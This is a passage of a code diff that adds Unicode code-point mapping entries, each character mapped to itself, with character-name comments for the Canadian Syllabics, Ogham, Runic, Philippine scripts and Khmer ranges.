+ ["\u161F", "\u161F"], /* CANADIAN SYLLABICS CARRIER JJEE */
+ ["\u1620", "\u1620"], /* CANADIAN SYLLABICS CARRIER JJI */
+ ["\u1621", "\u1621"], /* CANADIAN SYLLABICS CARRIER JJA */
+ ["\u1622", "\u1622"], /* CANADIAN SYLLABICS CARRIER LU */
+ ["\u1623", "\u1623"], /* CANADIAN SYLLABICS CARRIER LO */
+ ["\u1624", "\u1624"], /* CANADIAN SYLLABICS CARRIER LE */
+ ["\u1625", "\u1625"], /* CANADIAN SYLLABICS CARRIER LEE */
+ ["\u1626", "\u1626"], /* CANADIAN SYLLABICS CARRIER LI */
+ ["\u1627", "\u1627"], /* CANADIAN SYLLABICS CARRIER LA */
+ ["\u1628", "\u1628"], /* CANADIAN SYLLABICS CARRIER DLU */
+ ["\u1629", "\u1629"], /* CANADIAN SYLLABICS CARRIER DLO */
+ ["\u162A", "\u162A"], /* CANADIAN SYLLABICS CARRIER DLE */
+ ["\u162B", "\u162B"], /* CANADIAN SYLLABICS CARRIER DLEE */
+ ["\u162C", "\u162C"], /* CANADIAN SYLLABICS CARRIER DLI */
+ ["\u162D", "\u162D"], /* CANADIAN SYLLABICS CARRIER DLA */
+ ["\u162E", "\u162E"], /* CANADIAN SYLLABICS CARRIER LHU */
+ ["\u162F", "\u162F"], /* CANADIAN SYLLABICS CARRIER LHO */
+ ["\u1630", "\u1630"], /* CANADIAN SYLLABICS CARRIER LHE */
+ ["\u1631", "\u1631"], /* CANADIAN SYLLABICS CARRIER LHEE */
+ ["\u1632", "\u1632"], /* CANADIAN SYLLABICS CARRIER LHI */
+ ["\u1633", "\u1633"], /* CANADIAN SYLLABICS CARRIER LHA */
+ ["\u1634", "\u1634"], /* CANADIAN SYLLABICS CARRIER TLHU */
+ ["\u1635", "\u1635"], /* CANADIAN SYLLABICS CARRIER TLHO */
+ ["\u1636", "\u1636"], /* CANADIAN SYLLABICS CARRIER TLHE */
+ ["\u1637", "\u1637"], /* CANADIAN SYLLABICS CARRIER TLHEE */
+ ["\u1638", "\u1638"], /* CANADIAN SYLLABICS CARRIER TLHI */
+ ["\u1639", "\u1639"], /* CANADIAN SYLLABICS CARRIER TLHA */
+ ["\u163A", "\u163A"], /* CANADIAN SYLLABICS CARRIER TLU */
+ ["\u163B", "\u163B"], /* CANADIAN SYLLABICS CARRIER TLO */
+ ["\u163C", "\u163C"], /* CANADIAN SYLLABICS CARRIER TLE */
+ ["\u163D", "\u163D"], /* CANADIAN SYLLABICS CARRIER TLEE */
+ ["\u163E", "\u163E"], /* CANADIAN SYLLABICS CARRIER TLI */
+ ["\u163F", "\u163F"], /* CANADIAN SYLLABICS CARRIER TLA */
+ ["\u1640", "\u1640"], /* CANADIAN SYLLABICS CARRIER ZU */
+ ["\u1641", "\u1641"], /* CANADIAN SYLLABICS CARRIER ZO */
+ ["\u1642", "\u1642"], /* CANADIAN SYLLABICS CARRIER ZE */
+ ["\u1643", "\u1643"], /* CANADIAN SYLLABICS CARRIER ZEE */
+ ["\u1644", "\u1644"], /* CANADIAN SYLLABICS CARRIER ZI */
+ ["\u1645", "\u1645"], /* CANADIAN SYLLABICS CARRIER ZA */
+ ["\u1646", "\u1646"], /* CANADIAN SYLLABICS CARRIER Z */
+ ["\u1647", "\u1647"], /* CANADIAN SYLLABICS CARRIER INITIAL Z */
+ ["\u1648", "\u1648"], /* CANADIAN SYLLABICS CARRIER DZU */
+ ["\u1649", "\u1649"], /* CANADIAN SYLLABICS CARRIER DZO */
+ ["\u164A", "\u164A"], /* CANADIAN SYLLABICS CARRIER DZE */
+ ["\u164B", "\u164B"], /* CANADIAN SYLLABICS CARRIER DZEE */
+ ["\u164C", "\u164C"], /* CANADIAN SYLLABICS CARRIER DZI */
+ ["\u164D", "\u164D"], /* CANADIAN SYLLABICS CARRIER DZA */
+ ["\u164E", "\u164E"], /* CANADIAN SYLLABICS CARRIER SU */
+ ["\u164F", "\u164F"], /* CANADIAN SYLLABICS CARRIER SO */
+ ["\u1650", "\u1650"], /* CANADIAN SYLLABICS CARRIER SE */
+ ["\u1651", "\u1651"], /* CANADIAN SYLLABICS CARRIER SEE */
+ ["\u1652", "\u1652"], /* CANADIAN SYLLABICS CARRIER SI */
+ ["\u1653", "\u1653"], /* CANADIAN SYLLABICS CARRIER SA */
+ ["\u1654", "\u1654"], /* CANADIAN SYLLABICS CARRIER SHU */
+ ["\u1655", "\u1655"], /* CANADIAN SYLLABICS CARRIER SHO */
+ ["\u1656", "\u1656"], /* CANADIAN SYLLABICS CARRIER SHE */
+ ["\u1657", "\u1657"], /* CANADIAN SYLLABICS CARRIER SHEE */
+ ["\u1658", "\u1658"], /* CANADIAN SYLLABICS CARRIER SHI */
+ ["\u1659", "\u1659"], /* CANADIAN SYLLABICS CARRIER SHA */
+ ["\u165A", "\u165A"], /* CANADIAN SYLLABICS CARRIER SH */
+ ["\u165B", "\u165B"], /* CANADIAN SYLLABICS CARRIER TSU */
+ ["\u165C", "\u165C"], /* CANADIAN SYLLABICS CARRIER TSO */
+ ["\u165D", "\u165D"], /* CANADIAN SYLLABICS CARRIER TSE */
+ ["\u165E", "\u165E"], /* CANADIAN SYLLABICS CARRIER TSEE */
+ ["\u165F", "\u165F"], /* CANADIAN SYLLABICS CARRIER TSI */
+ ["\u1660", "\u1660"], /* CANADIAN SYLLABICS CARRIER TSA */
+ ["\u1661", "\u1661"], /* CANADIAN SYLLABICS CARRIER CHU */
+ ["\u1662", "\u1662"], /* CANADIAN SYLLABICS CARRIER CHO */
+ ["\u1663", "\u1663"], /* CANADIAN SYLLABICS CARRIER CHE */
+ ["\u1664", "\u1664"], /* CANADIAN SYLLABICS CARRIER CHEE */
+ ["\u1665", "\u1665"], /* CANADIAN SYLLABICS CARRIER CHI */
+ ["\u1666", "\u1666"], /* CANADIAN SYLLABICS CARRIER CHA */
+ ["\u1667", "\u1667"], /* CANADIAN SYLLABICS CARRIER TTSU */
+ ["\u1668", "\u1668"], /* CANADIAN SYLLABICS CARRIER TTSO */
+ ["\u1669", "\u1669"], /* CANADIAN SYLLABICS CARRIER TTSE */
+ ["\u166A", "\u166A"], /* CANADIAN SYLLABICS CARRIER TTSEE */
+ ["\u166B", "\u166B"], /* CANADIAN SYLLABICS CARRIER TTSI */
+ ["\u166C", "\u166C"], /* CANADIAN SYLLABICS CARRIER TTSA */
+ ["\u166D", "\u166D"], /* CANADIAN SYLLABICS CHI SIGN */
+ ["\u166E", "\u166E"], /* CANADIAN SYLLABICS FULL STOP */
+ ["\u166F", "\u166F"], /* CANADIAN SYLLABICS QAI */
+ ["\u1670", "\u1670"], /* CANADIAN SYLLABICS NGAI */
+ ["\u1671", "\u1671"], /* CANADIAN SYLLABICS NNGI */
+ ["\u1672", "\u1672"], /* CANADIAN SYLLABICS NNGII */
+ ["\u1673", "\u1673"], /* CANADIAN SYLLABICS NNGO */
+ ["\u1674", "\u1674"], /* CANADIAN SYLLABICS NNGOO */
+ ["\u1675", "\u1675"], /* CANADIAN SYLLABICS NNGA */
+ ["\u1676", "\u1676"], /* CANADIAN SYLLABICS NNGAA */
+ ["\u1677", "\u1677"], /* CANADIAN SYLLABICS WOODS-CREE THWEE */
+ ["\u1678", "\u1678"], /* CANADIAN SYLLABICS WOODS-CREE THWI */
+ ["\u1679", "\u1679"], /* CANADIAN SYLLABICS WOODS-CREE THWII */
+ ["\u167A", "\u167A"], /* CANADIAN SYLLABICS WOODS-CREE THWO */
+ ["\u167B", "\u167B"], /* CANADIAN SYLLABICS WOODS-CREE THWOO */
+ ["\u167C", "\u167C"], /* CANADIAN SYLLABICS WOODS-CREE THWA */
+ ["\u167D", "\u167D"], /* CANADIAN SYLLABICS WOODS-CREE THWAA */
+ ["\u167E", "\u167E"], /* CANADIAN SYLLABICS WOODS-CREE FINAL TH */
+ ["\u167F", "\u167F"], /* CANADIAN SYLLABICS BLACKFOOT W */
+ ["\u1680", "\u1680"], /* OGHAM SPACE MARK */
+ ["\u1681", "\u1681"], /* OGHAM LETTER BEITH */
+ ["\u1682", "\u1682"], /* OGHAM LETTER LUIS */
+ ["\u1683", "\u1683"], /* OGHAM LETTER FEARN */
+ ["\u1684", "\u1684"], /* OGHAM LETTER SAIL */
+ ["\u1685", "\u1685"], /* OGHAM LETTER NION */
+ ["\u1686", "\u1686"], /* OGHAM LETTER UATH */
+ ["\u1687", "\u1687"], /* OGHAM LETTER DAIR */
+ ["\u1688", "\u1688"], /* OGHAM LETTER TINNE */
+ ["\u1689", "\u1689"], /* OGHAM LETTER COLL */
+ ["\u168A", "\u168A"], /* OGHAM LETTER CEIRT */
+ ["\u168B", "\u168B"], /* OGHAM LETTER MUIN */
+ ["\u168C", "\u168C"], /* OGHAM LETTER GORT */
+ ["\u168D", "\u168D"], /* OGHAM LETTER NGEADAL */
+ ["\u168E", "\u168E"], /* OGHAM LETTER STRAIF */
+ ["\u168F", "\u168F"], /* OGHAM LETTER RUIS */
+ ["\u1690", "\u1690"], /* OGHAM LETTER AILM */
+ ["\u1691", "\u1691"], /* OGHAM LETTER ONN */
+ ["\u1692", "\u1692"], /* OGHAM LETTER UR */
+ ["\u1693", "\u1693"], /* OGHAM LETTER EADHADH */
+ ["\u1694", "\u1694"], /* OGHAM LETTER IODHADH */
+ ["\u1695", "\u1695"], /* OGHAM LETTER EABHADH */
+ ["\u1696", "\u1696"], /* OGHAM LETTER OR */
+ ["\u1697", "\u1697"], /* OGHAM LETTER UILLEANN */
+ ["\u1698", "\u1698"], /* OGHAM LETTER IFIN */
+ ["\u1699", "\u1699"], /* OGHAM LETTER EAMHANCHOLL */
+ ["\u169A", "\u169A"], /* OGHAM LETTER PEITH */
+ ["\u169B", "\u169B"], /* OGHAM FEATHER MARK */
+ ["\u169C", "\u169C"], /* OGHAM REVERSED FEATHER MARK */
+ ["\u169D", "\u169D"],
+ ["\u169E", "\u169E"],
+ ["\u169F", "\u169F"],
+ ["\u16A0", "\u16A0"], /* RUNIC LETTER FEHU FEOH FE F */
+ ["\u16A1", "\u16A1"], /* RUNIC LETTER V */
+ ["\u16A2", "\u16A2"], /* RUNIC LETTER URUZ UR U */
+ ["\u16A3", "\u16A3"], /* RUNIC LETTER YR */
+ ["\u16A4", "\u16A4"], /* RUNIC LETTER Y */
+ ["\u16A5", "\u16A5"], /* RUNIC LETTER W */
+ ["\u16A6", "\u16A6"], /* RUNIC LETTER THURISAZ THURS THORN */
+ ["\u16A7", "\u16A7"], /* RUNIC LETTER ETH */
+ ["\u16A8", "\u16A8"], /* RUNIC LETTER ANSUZ A */
+ ["\u16A9", "\u16A9"], /* RUNIC LETTER OS O */
+ ["\u16AA", "\u16AA"], /* RUNIC LETTER AC A */
+ ["\u16AB", "\u16AB"], /* RUNIC LETTER AESC */
+ ["\u16AC", "\u16AC"], /* RUNIC LETTER LONG-BRANCH-OSS O */
+ ["\u16AD", "\u16AD"], /* RUNIC LETTER SHORT-TWIG-OSS O */
+ ["\u16AE", "\u16AE"], /* RUNIC LETTER O */
+ ["\u16AF", "\u16AF"], /* RUNIC LETTER OE */
+ ["\u16B0", "\u16B0"], /* RUNIC LETTER ON */
+ ["\u16B1", "\u16B1"], /* RUNIC LETTER RAIDO RAD REID R */
+ ["\u16B2", "\u16B2"], /* RUNIC LETTER KAUNA */
+ ["\u16B3", "\u16B3"], /* RUNIC LETTER CEN */
+ ["\u16B4", "\u16B4"], /* RUNIC LETTER KAUN K */
+ ["\u16B5", "\u16B5"], /* RUNIC LETTER G */
+ ["\u16B6", "\u16B6"], /* RUNIC LETTER ENG */
+ ["\u16B7", "\u16B7"], /* RUNIC LETTER GEBO GYFU G */
+ ["\u16B8", "\u16B8"], /* RUNIC LETTER GAR */
+ ["\u16B9", "\u16B9"], /* RUNIC LETTER WUNJO WYNN W */
+ ["\u16BA", "\u16BA"], /* RUNIC LETTER HAGLAZ H */
+ ["\u16BB", "\u16BB"], /* RUNIC LETTER HAEGL H */
+ ["\u16BC", "\u16BC"], /* RUNIC LETTER LONG-BRANCH-HAGALL H */
+ ["\u16BD", "\u16BD"], /* RUNIC LETTER SHORT-TWIG-HAGALL H */
+ ["\u16BE", "\u16BE"], /* RUNIC LETTER NAUDIZ NYD NAUD N */
+ ["\u16BF", "\u16BF"], /* RUNIC LETTER SHORT-TWIG-NAUD N */
+ ["\u16C0", "\u16C0"], /* RUNIC LETTER DOTTED-N */
+ ["\u16C1", "\u16C1"], /* RUNIC LETTER ISAZ IS ISS I */
+ ["\u16C2", "\u16C2"], /* RUNIC LETTER E */
+ ["\u16C3", "\u16C3"], /* RUNIC LETTER JERAN J */
+ ["\u16C4", "\u16C4"], /* RUNIC LETTER GER */
+ ["\u16C5", "\u16C5"], /* RUNIC LETTER LONG-BRANCH-AR AE */
+ ["\u16C6", "\u16C6"], /* RUNIC LETTER SHORT-TWIG-AR A */
+ ["\u16C7", "\u16C7"], /* RUNIC LETTER IWAZ EOH */
+ ["\u16C8", "\u16C8"], /* RUNIC LETTER PERTHO PEORTH P */
+ ["\u16C9", "\u16C9"], /* RUNIC LETTER ALGIZ EOLHX */
+ ["\u16CA", "\u16CA"], /* RUNIC LETTER SOWILO S */
+ ["\u16CB", "\u16CB"], /* RUNIC LETTER SIGEL LONG-BRANCH-SOL S */
+ ["\u16CC", "\u16CC"], /* RUNIC LETTER SHORT-TWIG-SOL S */
+ ["\u16CD", "\u16CD"], /* RUNIC LETTER C */
+ ["\u16CE", "\u16CE"], /* RUNIC LETTER Z */
+ ["\u16CF", "\u16CF"], /* RUNIC LETTER TIWAZ TIR TYR T */
+ ["\u16D0", "\u16D0"], /* RUNIC LETTER SHORT-TWIG-TYR T */
+ ["\u16D1", "\u16D1"], /* RUNIC LETTER D */
+ ["\u16D2", "\u16D2"], /* RUNIC LETTER BERKANAN BEORC BJARKAN B */
+ ["\u16D3", "\u16D3"], /* RUNIC LETTER SHORT-TWIG-BJARKAN B */
+ ["\u16D4", "\u16D4"], /* RUNIC LETTER DOTTED-P */
+ ["\u16D5", "\u16D5"], /* RUNIC LETTER OPEN-P */
+ ["\u16D6", "\u16D6"], /* RUNIC LETTER EHWAZ EH E */
+ ["\u16D7", "\u16D7"], /* RUNIC LETTER MANNAZ MAN M */
+ ["\u16D8", "\u16D8"], /* RUNIC LETTER LONG-BRANCH-MADR M */
+ ["\u16D9", "\u16D9"], /* RUNIC LETTER SHORT-TWIG-MADR M */
+ ["\u16DA", "\u16DA"], /* RUNIC LETTER LAUKAZ LAGU LOGR L */
+ ["\u16DB", "\u16DB"], /* RUNIC LETTER DOTTED-L */
+ ["\u16DC", "\u16DC"], /* RUNIC LETTER INGWAZ */
+ ["\u16DD", "\u16DD"], /* RUNIC LETTER ING */
+ ["\u16DE", "\u16DE"], /* RUNIC LETTER DAGAZ DAEG D */
+ ["\u16DF", "\u16DF"], /* RUNIC LETTER OTHALAN ETHEL O */
+ ["\u16E0", "\u16E0"], /* RUNIC LETTER EAR */
+ ["\u16E1", "\u16E1"], /* RUNIC LETTER IOR */
+ ["\u16E2", "\u16E2"], /* RUNIC LETTER CWEORTH */
+ ["\u16E3", "\u16E3"], /* RUNIC LETTER CALC */
+ ["\u16E4", "\u16E4"], /* RUNIC LETTER CEALC */
+ ["\u16E5", "\u16E5"], /* RUNIC LETTER STAN */
+ ["\u16E6", "\u16E6"], /* RUNIC LETTER LONG-BRANCH-YR */
+ ["\u16E7", "\u16E7"], /* RUNIC LETTER SHORT-TWIG-YR */
+ ["\u16E8", "\u16E8"], /* RUNIC LETTER ICELANDIC-YR */
+ ["\u16E9", "\u16E9"], /* RUNIC LETTER Q */
+ ["\u16EA", "\u16EA"], /* RUNIC LETTER X */
+ ["\u16EB", "\u16EB"], /* RUNIC SINGLE PUNCTUATION */
+ ["\u16EC", "\u16EC"], /* RUNIC MULTIPLE PUNCTUATION */
+ ["\u16ED", "\u16ED"], /* RUNIC CROSS PUNCTUATION */
+ ["\u16EE", "\u16EE"], /* RUNIC ARLAUG SYMBOL */
+ ["\u16EF", "\u16EF"], /* RUNIC TVIMADUR SYMBOL */
+ ["\u16F0", "\u16F0"], /* RUNIC BELGTHOR SYMBOL */
+ ["\u16F1", "\u16F1"], /* RUNIC LETTER K */
+ ["\u16F2", "\u16F2"], /* RUNIC LETTER SH */
+ ["\u16F3", "\u16F3"], /* RUNIC LETTER OO */
+ ["\u16F4", "\u16F4"], /* RUNIC LETTER FRANKS CASKET OS */
+ ["\u16F5", "\u16F5"], /* RUNIC LETTER FRANKS CASKET IS */
+ ["\u16F6", "\u16F6"], /* RUNIC LETTER FRANKS CASKET EH */
+ ["\u16F7", "\u16F7"], /* RUNIC LETTER FRANKS CASKET AC */
+ ["\u16F8", "\u16F8"], /* RUNIC LETTER FRANKS CASKET AESC */
+ ["\u16F9", "\u16F9"],
+ ["\u16FA", "\u16FA"],
+ ["\u16FB", "\u16FB"],
+ ["\u16FC", "\u16FC"],
+ ["\u16FD", "\u16FD"],
+ ["\u16FE", "\u16FE"],
+ ["\u16FF", "\u16FF"],
+ ["\u1700", "\u1700"], /* TAGALOG LETTER A */
+ ["\u1701", "\u1701"], /* TAGALOG LETTER I */
+ ["\u1702", "\u1702"], /* TAGALOG LETTER U */
+ ["\u1703", "\u1703"], /* TAGALOG LETTER KA */
+ ["\u1704", "\u1704"], /* TAGALOG LETTER GA */
+ ["\u1705", "\u1705"], /* TAGALOG LETTER NGA */
+ ["\u1706", "\u1706"], /* TAGALOG LETTER TA */
+ ["\u1707", "\u1707"], /* TAGALOG LETTER DA */
+ ["\u1708", "\u1708"], /* TAGALOG LETTER NA */
+ ["\u1709", "\u1709"], /* TAGALOG LETTER PA */
+ ["\u170A", "\u170A"], /* TAGALOG LETTER BA */
+ ["\u170B", "\u170B"], /* TAGALOG LETTER MA */
+ ["\u170C", "\u170C"], /* TAGALOG LETTER YA */
+ ["\u170D", "\u170D"],
+ ["\u170E", "\u170E"], /* TAGALOG LETTER LA */
+ ["\u170F", "\u170F"], /* TAGALOG LETTER WA */
+ ["\u1710", "\u1710"], /* TAGALOG LETTER SA */
+ ["\u1711", "\u1711"], /* TAGALOG LETTER HA */
+ ["\u1712", "\u1712"], /* TAGALOG VOWEL SIGN I */
+ ["\u1713", "\u1713"], /* TAGALOG VOWEL SIGN U */
+ ["\u1714", "\u1714"], /* TAGALOG SIGN VIRAMA */
+ ["\u1715", "\u1715"],
+ ["\u1716", "\u1716"],
+ ["\u1717", "\u1717"],
+ ["\u1718", "\u1718"],
+ ["\u1719", "\u1719"],
+ ["\u171A", "\u171A"],
+ ["\u171B", "\u171B"],
+ ["\u171C", "\u171C"],
+ ["\u171D", "\u171D"],
+ ["\u171E", "\u171E"],
+ ["\u171F", "\u171F"],
+ ["\u1720", "\u1720"], /* HANUNOO LETTER A */
+ ["\u1721", "\u1721"], /* HANUNOO LETTER I */
+ ["\u1722", "\u1722"], /* HANUNOO LETTER U */
+ ["\u1723", "\u1723"], /* HANUNOO LETTER KA */
+ ["\u1724", "\u1724"], /* HANUNOO LETTER GA */
+ ["\u1725", "\u1725"], /* HANUNOO LETTER NGA */
+ ["\u1726", "\u1726"], /* HANUNOO LETTER TA */
+ ["\u1727", "\u1727"], /* HANUNOO LETTER DA */
+ ["\u1728", "\u1728"], /* HANUNOO LETTER NA */
+ ["\u1729", "\u1729"], /* HANUNOO LETTER PA */
+ ["\u172A", "\u172A"], /* HANUNOO LETTER BA */
+ ["\u172B", "\u172B"], /* HANUNOO LETTER MA */
+ ["\u172C", "\u172C"], /* HANUNOO LETTER YA */
+ ["\u172D", "\u172D"], /* HANUNOO LETTER RA */
+ ["\u172E", "\u172E"], /* HANUNOO LETTER LA */
+ ["\u172F", "\u172F"], /* HANUNOO LETTER WA */
+ ["\u1730", "\u1730"], /* HANUNOO LETTER SA */
+ ["\u1731", "\u1731"], /* HANUNOO LETTER HA */
+ ["\u1732", "\u1732"], /* HANUNOO VOWEL SIGN I */
+ ["\u1733", "\u1733"], /* HANUNOO VOWEL SIGN U */
+ ["\u1734", "\u1734"], /* HANUNOO SIGN PAMUDPOD */
+ ["\u1735", "\u1735"], /* PHILIPPINE SINGLE PUNCTUATION */
+ ["\u1736", "\u1736"], /* PHILIPPINE DOUBLE PUNCTUATION */
+ ["\u1737", "\u1737"],
+ ["\u1738", "\u1738"],
+ ["\u1739", "\u1739"],
+ ["\u173A", "\u173A"],
+ ["\u173B", "\u173B"],
+ ["\u173C", "\u173C"],
+ ["\u173D", "\u173D"],
+ ["\u173E", "\u173E"],
+ ["\u173F", "\u173F"],
+ ["\u1740", "\u1740"], /* BUHID LETTER A */
+ ["\u1741", "\u1741"], /* BUHID LETTER I */
+ ["\u1742", "\u1742"], /* BUHID LETTER U */
+ ["\u1743", "\u1743"], /* BUHID LETTER KA */
+ ["\u1744", "\u1744"], /* BUHID LETTER GA */
+ ["\u1745", "\u1745"], /* BUHID LETTER NGA */
+ ["\u1746", "\u1746"], /* BUHID LETTER TA */
+ ["\u1747", "\u1747"], /* BUHID LETTER DA */
+ ["\u1748", "\u1748"], /* BUHID LETTER NA */
+ ["\u1749", "\u1749"], /* BUHID LETTER PA */
+ ["\u174A", "\u174A"], /* BUHID LETTER BA */
+ ["\u174B", "\u174B"], /* BUHID LETTER MA */
+ ["\u174C", "\u174C"], /* BUHID LETTER YA */
+ ["\u174D", "\u174D"], /* BUHID LETTER RA */
+ ["\u174E", "\u174E"], /* BUHID LETTER LA */
+ ["\u174F", "\u174F"], /* BUHID LETTER WA */
+ ["\u1750", "\u1750"], /* BUHID LETTER SA */
+ ["\u1751", "\u1751"], /* BUHID LETTER HA */
+ ["\u1752", "\u1752"], /* BUHID VOWEL SIGN I */
+ ["\u1753", "\u1753"], /* BUHID VOWEL SIGN U */
+ ["\u1754", "\u1754"],
+ ["\u1755", "\u1755"],
+ ["\u1756", "\u1756"],
+ ["\u1757", "\u1757"],
+ ["\u1758", "\u1758"],
+ ["\u1759", "\u1759"],
+ ["\u175A", "\u175A"],
+ ["\u175B", "\u175B"],
+ ["\u175C", "\u175C"],
+ ["\u175D", "\u175D"],
+ ["\u175E", "\u175E"],
+ ["\u175F", "\u175F"],
+ ["\u1760", "\u1760"], /* TAGBANWA LETTER A */
+ ["\u1761", "\u1761"], /* TAGBANWA LETTER I */
+ ["\u1762", "\u1762"], /* TAGBANWA LETTER U */
+ ["\u1763", "\u1763"], /* TAGBANWA LETTER KA */
+ ["\u1764", "\u1764"], /* TAGBANWA LETTER GA */
+ ["\u1765", "\u1765"], /* TAGBANWA LETTER NGA */
+ ["\u1766", "\u1766"], /* TAGBANWA LETTER TA */
+ ["\u1767", "\u1767"], /* TAGBANWA LETTER DA */
+ ["\u1768", "\u1768"], /* TAGBANWA LETTER NA */
+ ["\u1769", "\u1769"], /* TAGBANWA LETTER PA */
+ ["\u176A", "\u176A"], /* TAGBANWA LETTER BA */
+ ["\u176B", "\u176B"], /* TAGBANWA LETTER MA */
+ ["\u176C", "\u176C"], /* TAGBANWA LETTER YA */
+ ["\u176D", "\u176D"],
+ ["\u176E", "\u176E"], /* TAGBANWA LETTER LA */
+ ["\u176F", "\u176F"], /* TAGBANWA LETTER WA */
+ ["\u1770", "\u1770"], /* TAGBANWA LETTER SA */
+ ["\u1771", "\u1771"],
+ ["\u1772", "\u1772"], /* TAGBANWA VOWEL SIGN I */
+ ["\u1773", "\u1773"], /* TAGBANWA VOWEL SIGN U */
+ ["\u1774", "\u1774"],
+ ["\u1775", "\u1775"],
+ ["\u1776", "\u1776"],
+ ["\u1777", "\u1777"],
+ ["\u1778", "\u1778"],
+ ["\u1779", "\u1779"],
+ ["\u177A", "\u177A"],
+ ["\u177B", "\u177B"],
+ ["\u177C", "\u177C"],
+ ["\u177D", "\u177D"],
+ ["\u177E", "\u177E"],
+ ["\u177F", "\u177F"],
+ ["\u1780", "\u1780"], /* KHMER LETTER KA */
+ ["\u1781", "\u1781"], /* KHMER LETTER KHA */
+ ["\u1782", "\u1782"], /* KHMER LETTER KO */
+ ["\u1783", "\u1783"], /* KHMER LETTER KHO */
+ ["\u1784", "\u1784"], /* KHMER LETTER NGO */
+ ["\u1785", "\u1785"], /* KHMER LETTER CA */
+ ["\u1786", "\u1786"], /* KHMER LETTER CHA */
+ ["\u1787", "\u1787"], /* KHMER LETTER CO */
+ ["\u1788", "\u1788"], /* KHMER LETTER CHO */
+ ["\u1789", "\u1789"], /* KHMER LETTER NYO */
+ ["\u178A", "\u178A"], /* KHMER LETTER DA */
+ ["\u178B", "\u178B"], /* KHMER LETTER TTHA */
+ ["\u178C", "\u178C"], /* KHMER LETTER DO */
+ ["\u178D", "\u178D"], /* KHMER LETTER TTHO */
+ ["\u178E", "\u178E"], /* KHMER LETTER NNO */
+ ["\u178F", "\u178F"], /* KHMER LETTER TA */
+ ["\u1790", "\u1790"], /* KHMER LETTER THA */
+ ["\u1791", "\u1791"], /* KHMER LETTER TO */
+ ["\u1792", "\u1792"], /* KHMER LETTER THO */
+ ["\u1793", "\u1793"], /* KHMER LETTER NO */
+ ["\u1794", "\u1794"], /* KHMER LETTER BA */
+ ["\u1795", "\u1795"], /* KHMER LETTER PHA */
+ ["\u1796", "\u1796"], /* KHMER LETTER PO */
+ ["\u1797", "\u1797"], /* KHMER LETTER PHO */
+ ["\u1798", "\u1798"], /* KHMER LETTER MO */
+ ["\u1799", "\u1799"], /* KHMER LETTER YO */
+ ["\u179A", "\u179A"], /* KHMER LETTER RO */
+ ["\u179B", "\u179B"], /* KHMER LETTER LO */
+ ["\u179C", "\u179C"], /* KHMER LETTER VO */
+ ["\u179D", "\u179D"], /* KHMER LETTER SHA */
+ ["\u179E", "\u179E"], /* KHMER LETTER SSO */
+ ["\u179F", "\u179F"], /* KHMER LETTER SA */
+ ["\u17A0", "\u17A0"], /* KHMER LETTER HA */
+ ["\u17A1", "\u17A1"], /* KHMER LETTER LA */
+ ["\u17A2", "\u17A2"], /* KHMER LETTER QA */
+ ["\u17A3", "\u17A3"], /* KHMER INDEPENDENT VOWEL QAQ */
+ ["\u17A4", "\u17A4"], /* KHMER INDEPENDENT VOWEL QAA */
+ ["\u17A5", "\u17A5"], /* KHMER INDEPENDENT VOWEL QI */
+ ["\u17A6", "\u17A6"], /* KHMER INDEPENDENT VOWEL QII */
+ ["\u17A7", "\u17A7"], /* KHMER INDEPENDENT VOWEL QU */
+ ["\u17A8", "\u17A8"], /* KHMER INDEPENDENT VOWEL QUK */
+ ["\u17A9", "\u17A9"], /* KHMER INDEPENDENT VOWEL QUU */
+ ["\u17AA", "\u17AA"], /* KHMER INDEPENDENT VOWEL QUUV */
+ ["\u17AB", "\u17AB"], /* KHMER INDEPENDENT VOWEL RY */
+ ["\u17AC", "\u17AC"], /* KHMER INDEPENDENT VOWEL RYY */
+ ["\u17AD", "\u17AD"], /* KHMER INDEPENDENT VOWEL LY */
+ ["\u17AE", "\u17AE"], /* KHMER INDEPENDENT VOWEL LYY */
+ ["\u17AF", "\u17AF"], /* KHMER INDEPENDENT VOWEL QE */
+ ["\u17B0", "\u17B0"], /* KHMER INDEPENDENT VOWEL QAI */
+ ["\u17B1", "\u17B1"], /* KHMER INDEPENDENT VOWEL QOO TYPE ONE */
+ ["\u17B2", "\u17B2"], /* KHMER INDEPENDENT VOWEL QOO TYPE TWO */
+ ["\u17B3", "\u17B3"], /* KHMER INDEPENDENT VOWEL QAU */
+ ["\u17B4", "\u17B4"], /* KHMER VOWEL INHERENT AQ */
+ ["\u17B5", "\u17B5"], /* KHMER VOWEL INHERENT AA */
+ ["\u17B6", "\u17B6"], /* KHMER VOWEL SIGN AA */
+ ["\u17B7", "\u17B7"], /* KHMER VOWEL SIGN I */
+ ["\u17B8", "\u17B8"], /* KHMER VOWEL SIGN II */
+ ["\u17B9", "\u17B9"], /* KHMER VOWEL SIGN Y */
+ ["\u17BA", "\u17BA"], /* KHMER VOWEL SIGN YY */
+ ["\u17BB", "\u17BB"], /* KHMER VOWEL SIGN U */
+ ["\u17BC", "\u17BC"], /* KHMER VOWEL SIGN UU */
+ ["\u17BD", "\u17BD"], /* KHMER VOWEL SIGN UA */
+ ["\u17BE", "\u17BE"], /* KHMER VOWEL SIGN OE */
+ ["\u17BF", "\u17BF"], /* KHMER VOWEL SIGN YA */
+ ["\u17C0", "\u17C0"], /* KHMER VOWEL SIGN IE */
+ ["\u17C1", "\u17C1"], /* KHMER VOWEL SIGN E */
+ ["\u17C2", "\u17C2"], /* KHMER VOWEL SIGN AE */
+ ["\u17C3", "\u17C3"], /* KHMER VOWEL SIGN AI */
+ ["\u17C4", "\u17C4"], /* KHMER VOWEL SIGN OO */
+ ["\u17C5", "\u17C5"], /* KHMER VOWEL SIGN AU */
+ ["\u17C6", "\u17C6"], /* KHMER SIGN NIKAHIT */
+ ["\u17C7", "\u17C7"], /* KHMER SIGN REAHMUK */
+ ["\u17C8", "\u17C8"], /* KHMER SIGN YUUKALEAPINTU */
+ ["\u17C9", "\u17C9"], /* KHMER SIGN MUUSIKATOAN */
+ ["\u17CA", "\u17CA"], /* KHMER SIGN TRIISAP */
+ ["\u17CB", "\u17CB"], /* KHMER SIGN BANTOC */
+ ["\u17CC", "\u17CC"], /* KHMER SIGN ROBAT */
+ ["\u17CD", "\u17CD"], /* KHMER SIGN TOANDAKHIAT */
+ ["\u17CE", "\u17CE"], /* KHMER SIGN KAKABAT */
+ ["\u17CF", "\u17CF"], /* KHMER SIGN AHSDA */
+ ["\u17D0", "\u17D0"], /* KHMER SIGN SAMYOK SANNYA */
+ ["\u17D1", "\u17D1"], /* KHMER SIGN VIRIAM */
+ ["\u17D2", "\u17D2"], /* KHMER SIGN COENG */
+ ["\u17D3", "\u17D3"], /* KHMER SIGN BATHAMASAT */
